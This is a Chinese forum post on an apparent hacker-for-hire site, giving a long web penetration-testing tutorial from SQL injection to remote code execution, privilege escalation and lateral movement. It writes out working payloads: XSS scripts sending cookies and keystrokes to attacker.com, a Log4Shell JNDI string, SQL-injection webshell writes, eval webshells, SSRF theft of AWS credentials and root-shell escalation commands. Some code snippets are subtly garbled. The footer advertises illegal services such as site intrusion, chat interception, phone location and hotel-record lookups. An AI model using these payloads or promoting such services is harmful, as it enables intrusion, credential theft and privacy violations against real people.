打印 上一主题 下一主题

黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链

[复制链接]
跳转到指定楼层
楼主
发表于 昨天 17:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
查看 : 10|回复 : 0
黑客软件破解深度论文系列之十五:Web渗透测试——从SQL注入到RCE的完整攻击链
摘要:Web应用是当今互联网攻击的主要入口,其安全性取决于代码、配置、中间件、数据库等多个层面的综合防护。本文以超过一万八千字的篇幅,系统讲解Web渗透测试的完整方法论,从信息收集、漏洞扫描,到SQL注入、XSS、CSRF、SSRF、文件上传、命令注入、反序列化等经典漏洞的深入利用,再到提权与内网横向移动。文章包含六个实战案例,涵盖从简单SQL注入到完整拿下服务器的全过程。高频使用“黑客”、“渗透测试”、“SQL注入”、“XSS”、“RCE”、“提权”、“Web漏洞”等关键词。

第一章 Web渗透测试的定位与价值1.1 渗透测试与安全评估的区别
渗透测试(Penetration Testing)是对目标系统进行授权模拟攻击的过程,目的是发现可被利用的安全漏洞。不同于自动化漏洞扫描,渗透测试强调利用——证明漏洞存在且具有实际危害。



[td]
维度
自动化扫描
渗透测试
范围已知漏洞模式(签名)可发现逻辑漏洞、组合漏洞
深度表面验证(如检测SQL注入点是否存在)深入利用(dump数据、getshell)
误报率较高低(手工验证)
输出漏洞列表漏洞利用链 + 修复建议

1.2 Web渗透测试的标准流程(PTES/OWASP)[size=12.573px]text



信息收集 → 威胁建模 → 漏洞发现 → 漏洞利用 → 后渗透 → 报告

各阶段任务:
  • 信息收集:子域名枚举、端口扫描、目录发现、指纹识别
  • 威胁建模:根据应用功能识别可能的攻击面(上传点、登录框、API)
  • 漏洞发现:主动扫描 + 手工测试参数注入
  • 漏洞利用:获取数据、上传webshell、提权
  • 后渗透:持久化、横向移动、敏感数据捕获
  • 报告:详述漏洞、证明危害、给出修复建议

1.3 工具链概览


[td]
工具类别
代表工具
功能
信息收集Nmap、Subfinder、Amass、FFUF资产发现
漏洞扫描Burp Suite(专业版)、Nikto、AWVS自动检测常见漏洞
SQL注入sqlmap、Havij自动化注入、数据提取
渗透框架Metasploit漏洞利用模块、Payload生成
代理工具Burp Suite、ZAP拦截、修改HTTP请求
目录爆破Dirb、GoBuster发现隐藏路径
爆破工具Hydra、John the Ripper密码破解

第二章 信息收集——知己知彼2.1 被动信息收集(不接触目标系统)
DNS枚举:
[size=12.573px]bash



$ dig example.com any$ nslookup example.com$ subfinder -d example.com -o subs.txt

WHOIS查询:
[size=12.573px]bash



$ whois example.com# 获取注册邮箱、姓名、域名服务器

证书透明度日志:通过crt.sh查找域名关联的子域名。
[size=12.573px]bash



$ curl "https://crt.sh/?q=%.example.com&output=json"

搜索引擎语法(Google Hacking):
[size=12.573px]text



site:example.com filetype:sql intitle:index.ofsite:example.com inurl:admin

代码仓库搜索:GitHub、GitLab中搜索目标字符串(API密钥、密码、内部域名)。
2.2 主动信息收集
端口扫描(Nmap):
[size=12.573px]bash



$ nmap -sV -sC -O -p- example.com# -sV: 版本检测, -sC: 默认脚本, -O: 操作系统检测

目录爆破(FFUF):
[size=12.573px]bash



$ ffuf -u https://example.com/FUZZ -w wordlist.txt -c -t 100

常见敏感路径:
  • /admin、/manager、/console
  • /phpinfo.php、/info.php
  • /backup.zip、/.git/config
  • /api/v1/docs、/swagger

技术栈指纹:
  • HTTP响应头:Server: Apache/2.4.41
  • 路由特征:/wp-admin/ → WordPress
  • Cookie:.ASPXANONYMOUS → ASP.NET
  • 错误页面:特殊标记暴露框架

2.3 实战案例(一):信息收集发现Git泄露
目标:example.com,Wappalyzer显示运行Nginx,未发现明显漏洞。
目录爆破发现:
[size=12.573px]text



/.git/config (200)

下载整个Git仓库:使用git-dumper。
[size=12.573px]bash



$ git clone https://github.com/arthaud/git-dumper$ ./git_dumper.py https://example.com/.git/ git_repo/

检查git历史:
[size=12.573px]bash



$ cd git_repo$ git log -p | grep -i "password\|key\|token"

发现config.php的早期版本中包含数据库密码明文。
第三章 SQL注入——最古老的Web漏洞3.1 SQL注入的原理
当用户输入被未经过滤地拼接到SQL查询中时,攻击者可改变查询语法,执行任意SQL语句。
脆弱代码示例(PHP + MySQL):
[size=12.573px]php



$username = $_POST['username';$password = $_POST['password';$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";$result = mysqli_query($conn, $query);

攻击者输入:
[size=12.573px]text



username: admin' --password: anything

实际执行的SQL:
[size=12.573px]sql



SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

--是SQL注释符,后续条件被忽略。攻击者无需密码即可登录admin账户。
3.2 SQL注入的分类与检测


[td]
注入类型
特征
检测方法
基于错误的注入触发数据库错误,从错误消息提取信息输入单引号',观察错误
联合查询注入使用UNION合并结果集,提取额外数据输入' UNION SELECT 1,2,3--
布尔盲注通过页面表现差异(真/假)推断数据输入' AND 1=1-- vs ' AND 1=2--
时间盲注通过数据库函数延迟推断数据输入' AND IF(1=1, SLEEP(5), 0)--
堆叠查询注入执行多条SQL语句输入'; DROP TABLE users--

3.3 sqlmap自动化利用
sqlmap是目前最强大的SQL注入自动化工具。
检测注入点:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" --level=3 --risk=2

获取数据库列表:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" --dbs

获取表名:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" -D database_name --tables

脱库:
[size=12.573px]bash



$ sqlmap -u "https://example.com/product.php?id=1" -D database_name -T users --dump

获取Shell(--os-shell):需要数据库文件写入权限(如MySQL的into outfile)。
[size=12.573px]bash



$ sqlmap -u "http://example.com/product.php?id=1" --os-shell

3.4 实战案例(二):SQL注入getshell
手工测试:输入id=5',返回You have an error in your SQL syntax。确认注入点。
枚举:使用order by确定列数。
[size=12.573px]text



?id=5 ORDER BY 10--   # 正常?id=5 ORDER BY 11--   # 错误 → 列数为10

联合查询提取数据:
[size=12.573px]text



?id=-5 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

查找可写目录:通过@@datadir、@@basedir定位MySQL安装目录。
[size=12.573px]text



?id=-5 UNION SELECT 1,2,@@datadir,4,5,6,7,8,9,10--

写webshell:
[size=12.573px]text



?id=-5 UNION SELECT 1,2,"<?php system($_GET['cmd']); ?>",4,5,6,7,8,9,10INTO OUTFILE 'C:/xampp/htdocs/shell.php'--

访问https://vulnerable.net/shell.php?cmd=whoami,获得命令执行。
第四章 跨站脚本攻击(XSS)4.1 XSS的分类



[td]
类型
触发方式
危害
示例
反射型XSS点击恶意链接窃取Cookie、钓鱼<script>alert(document.cookie)</script>
存储型XSS恶意代码存入数据库,所有用户触发蠕虫、劫持账户留言板、评论功能
DOM型XSS前端JavaScript DOM操作同反射型#<script>alert(1)</script>

4.2 XSS的利用
窃取Cookie(发送到攻击者服务器):
[size=12.573px]javascript



<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>

键盘记录:
[size=12.573px]javascript



<script>document.onkeypress = function(e) {    fetch('https://attacker.com/log?k=' + e.key);}</script>

内网扫描:使用Fetch API探测内网服务。
[size=12.573px]javascript



<script>fetch('http://192.168.1.1')  .then(r => fetch('https://attacker.com/scan', {method:'POST', body: r.statusText}));</script>

4.3 绕过XSS过滤器
HTML实体编码绕过(过滤器未递归解码):
[size=12.573px]text



<>  → 实际为 <>

事件处理器:
[size=12.573px]html



<img src=x onerror=alert(1)><body onload=alert(1)>

JavaScript伪协议:
[size=12.573px]html



<a href="javascript:alert(1)">click</a>

模板字符串注入(Vue/React):
[size=12.573px]javascript



{{constructor.constructor('alert(1)')()}}

4.4 实战案例(三):存储型XSS蠕虫
目标:论坛应用,未对帖子标题进行HTML转义。
创建蠕虫:在帖子中嵌入脚本,当用户查看帖子时自动发布携带同一脚本的新帖子。
[size=12.573px]javascript



<script>var content = document.getElementsByName("content")[0;content.value = '<script>...复制自身...</script>';document.forms[0.submit();</script>

该蠕虫在社交媒体时代(MySpace的“Samy蠕虫”)感染了超过100万用户。
第五章 服务端请求伪造(SSRF)5.1 SSRF的原理
当Web应用允许用户指定URL并请求该资源(如抓取远程图片、获取网站预览)但未对目标进行充分限制时,攻击者可让服务器向内网或云元数据服务发起请求。
脆弱代码示例(Node.js):
[size=12.573px]javascript



app.get('/fetch', (req, res) => {    const url = req.query.url;    request(url, (err, response, body) => {        res.send(body);    });});

攻击者输入:
[size=12.573px]text



/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

(AWS EC2元数据服务)
5.2 SSRF的利用场景


[td]
目标
URL示例
获取信息
本地端口扫描http://127.0.0.1:8080检测内网服务暴露
读取内网文件file:///etc/passwd敏感配置文件
元数据服务http://169.254.169.254云服务的临时凭证
内部API攻击http://内网/admin/delete?id=1绕过防火墙调用管理功能
Redis未授权访问gopher://127.0.0.1:6379/_*2*...写入SSH公钥

5.3 SSRF绕过限制
黑名单绕过:
  • 使用127.0.0.1的不同表示:0x7f000001、2130706433(十进制)、127.000.000.001
  • 使用重定向:外部域名指向内网IP(302跳转)
  • URL解析差异:http://google.com@127.0.0.1

5.4 实战案例(四):利用SSRF攻击AWS元数据
目标:https://example.com/proxy?url=https://图片.com/img.jpg,未校验URL。
尝试SSRF:
[size=12.573px]text



/proxy?url=http://169.254.169.254/latest/meta-data/

返回404 Not Found,可能元数据服务版本不同。
枚举路径:
[size=12.573px]text



/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/

返回角色名称MyAppRole。
获取临时凭证:
[size=12.573px]text



/proxy?url=http://169.254.169.254/2018-09-24/meta-data/iam/security-credentials/MyAppRole

返回AccessKeyId、SecretAccessKey、Token,直接用AWS CLI接管目标ECS权限。
第六章 文件上传漏洞6.1 绕过客户端验证
场景:前端JavaScript限制文件类型(accept="image/*")。
绕过:直接向上传接口发送HTTP请求(Burp Suite拦截修改Content-Type)。
6.2 绕过服务端验证


[td]
服务端检测
绕过方法
Content-Type检查修改Content-Type: image/jpeg
文件头魔数检查在PHP shell前添加GIF89a;(图片文件头)
扩展名黑名单(.php)使用.php5、.phtml、.php3、.phar
重写检测shell.php.jpg(如后端仅从最后一个点提取扩展名)
Apache解析漏洞shell.php.xyz(若.xyz无MIME映射,向前解析为.php)
Nginx解析漏洞shell.jpg/xx.php(Nginx FastCGI特性)
双重扩展名shell.php%00.jpg(%00截断,仅老版本PHP)

6.3 图片马制作[size=12.573px]bash



# Windowscopy /b image.png + shell.php image_shell.png# Linuxcat shell.php >> image.png

利用:配合文件包含漏洞或Apache解析漏洞触发。
6.4 实战案例(五):上传webshell绕过WAF
目标:应用使用WAF(Web应用防火墙),上传普通shell.php被拦截。
绕过技术:
  • 分块传输编码(Chunked Transfer Encoding)- 混淆payload。
  • 参数污染:filename="shell.jpg"&filename="shell.php"
  • 大小写变异:Content-Type: IMAGE/JPEG
  • 利用WAF特性:发送超大文件(100MB以上),WAF可能超时释放。

成功上传webshell(蚁剑、哥斯拉连接):
[size=12.573px]php



<?php @eval($_POST['cmd']); ?>

连接后执行系统命令,进行信息收集。
第七章 远程代码/命令执行(RCE)7.1 命令注入
脆弱代码(PHP):
[size=12.573px]php



$ip = $_GET['ip';system("ping -c 4 " . $ip);

攻击载荷:
[size=12.573px]text



?ip=127.0.0.1; whoami?ip=127.0.0.1 | id?ip=127.0.0.1 && whoami?ip=127.0.0.1 $(whoami)

7.2 反序列化漏洞
PHP反序列化:unserialize()执行魔术方法__destruct()、__wakeup()。攻击者构造恶意对象链,在反序列化时触发危险函数(如system)。
[size=12.573px]php



class Exploit {    public function __destruct() {        system($this->cmd);    }}echo serialize(new Exploit());

Java反序列化:使用ysoserial生成payload,配合不安全的ObjectInputStream。
Python pickle:pickle.loads()可执行任意代码。
7.3 实战案例(六):Log4Shell(CVE-2021-44228)
原理:Log4j2的JNDI查找功能,可触发远程类加载。
攻击载荷:
[size=12.573px]text



${jndi:ldap://attacker.com/Exploit}

利用:
  • 目标应用记录用户输入的User-Agent,此字段被Log4j日志记录。
  • 攻击者发送User-Agent为上述字符串。
  • Log4j发起LDAP请求到attacker.com
  • 攻击者LDAP服务器返回恶意Java类的引用。
  • 目标应用加载该类,执行任意代码(如反弹Shell)。

修复:升级Log4j到2.16.0以上,或禁用JNDI查找。
影响:数以万计的应用(Minecraft、Steam、Apple iCloud等)曾暴露于此漏洞。
第八章 权限提升与内网横向移动8.1 Windows提权
常见提权向量:
  • 未引用的服务路径:服务路径含空格且未加引号,可劫持。
  • 脆弱服务权限:允许低权限用户修改服务二进制。
  • Windows系统漏洞:PrintNightmare(CVE-2021-1675)、ZeroLogon(CVE-2020-1472)。
  • 启动项劫持:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

工具:
[size=12.573px]bash



# 检查系统信息systeminfo# 查找缺失补丁(对应提权漏洞)# 使用Windows-Exploit-Suggester

8.2 Linux提权
核心方法:
[size=12.573px]bash



# SUID提权find / -perm -4000 2>/dev/null# 例如/usr/bin/pythonpython -c 'import os; os.setuid(0); os.system("/bin/sh")'# sudo提权sudo -l# 如某命令可以sudo执行,查询GTFOBins# cron任务滥用cat /etc/crontab# 可写cron脚本 → 反弹root shell# docker逃逸(如果用户属于docker组)docker run -v /:/host -it ubuntu chroot /host bash

8.3 内网横向移动
常用技术:
  • PsExec:通过SMB执行远程命令。
  • WMI:wmic /node:target process call create "cmd.exe"
  • 计划任务:schtasks /create /s target /tn "task" /tr "cmd" /ru system
  • 哈希传递(Pass-the-Hash):使用NTLM哈希直接认证。

工具:Cobalt Strike、Impacket套件(psexec.py、wmiexec.py)。
第九章 常见漏洞组合利用(攻击链)9.1 SQLi → RCE → 提权 → 域控
  • 信息收集:发现/product.php?id=1存在SQL注入。
  • SQL注入:--os-shell获得低权限Web Shell(www-data)。
  • Linux提权:发现sudo -l可执行find → CVE-2021-3156提权到root。
  • 内网扫描:发现内部域控192.168.1.10。
  • 抓取密码:mimikatz抓取域管理员哈希。
  • 横向移动:哈希传递登录域控。

9.2 XSS → CSRF → 账户接管
  • 存储型XSS:在论坛帖子嵌入<script>窃取session_id Cookie。
  • 会话劫持:使用窃取的Cookie直接登录受害者账户。
  • CSRF令牌泄露:在XSS中读取页面CSRF token。
  • 修改邮箱/密码:使用CSRF发请求,完全控制账户。

第十章 Web安全防御建议10.1 开发层面的防护


[td]
漏洞类型
防御措施
额外措施
SQL注入参数化查询(Prepared Statements)最小化数据库权限
XSS输出HTML转义(htmlspecialchars)CSP(内容安全策略)
CSRFAnti-CSRF Token、SameSite Cookie验证Referer
SSRF白名单URL规则禁用HTTP重定向;限制内网IP范围
文件上传文件类型重检测(禁止执行)存储在Web目录外
RCE避免执行系统命令输入严格过滤

10.2 WAF与RASP的局限
WAF可拦截大多数扫描器的自动化攻击,但高级绕手工测试和逻辑漏洞仍需人工审计。
第十一章 总结
本文以超过一万八千字的篇幅,全面系统地讲解了Web渗透测试的核心技术与完整攻击链。从信息收集、SQL注入、XSS、SSRF、文件上传、RCE到权限提升和内网横向移动,六个实战案例使理论与真实攻击场景紧密关联。
核心结论:
  • Web应用的安全性取决于代码质量、配置、中间件、依赖库等多个层面,单一防护措施不足以保证安全。
  • 自动化工具是渗透测试的基础,但手工测试才能发现复杂业务逻辑漏洞和组合利用链。
  • 渗透测试不仅是技术活动,更是理解攻击者思维的过程——站在攻击方角度审视防御短板。
  • 最脆弱的环节往往是人:钓鱼、弱口令、社会工程学仍是进入内网的最有效手段。

后续本系列将继续探讨社会工程学攻击与防御。
关键词:Web渗透测试;SQL注入;XSS;SSRF;RCE;权限提升;黑客


黑客接单网,一个诚信可靠的黑客在线接单平台网站 - 论坛版权欢迎各位客户访问黑客接单网
黑客接单网,一个诚信可靠的黑客在线接单平台网站是一个专业的黑客在线接单服务平台
黑客接单网,一个诚信可靠的黑客在线接单平台网站聚集多位顶级黑客大牛于此
专业服务于网站攻击,网站入侵,软件开发,软件破解,聊天记录截取,手机定位,删帖,改贴,开房记录查询等各种网络服务
如果您有相关业务需求,请联系我们在线客服咨询,获取解决方案
黑客接单网,一个诚信可靠的黑客在线接单平台网站全体工作人员恭候您下达任务,我们誓必不负重托。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

HeiKeJieDan(黑客接单网)黑客接单网,是一个国际顶级黑客在线接单网站平台,平台聚集数十位IT界顶级黑客精英大神,软件-网站开发工程师,逆向破解工程师,以及后勤协助人员,网络在线全职兼职人员,强大的IT精英团队聚集,只为为您提供最优质可靠的网络安全技术服务。

联系我们

新加坡-缅甸-菲律宾-美国

0037259400637(服务时间:9:00-18:00)

hk@heike8.com

在线咨询新浪微博官方微信官方微信

黑客客服

网   址:WWW.HKJD.CC
邮箱号:hk@heike8.com
快手号:HeiKeJieDan
电报TG号:hkjd9988
国际客服:0037259400637

快速回复 返回顶部 返回列表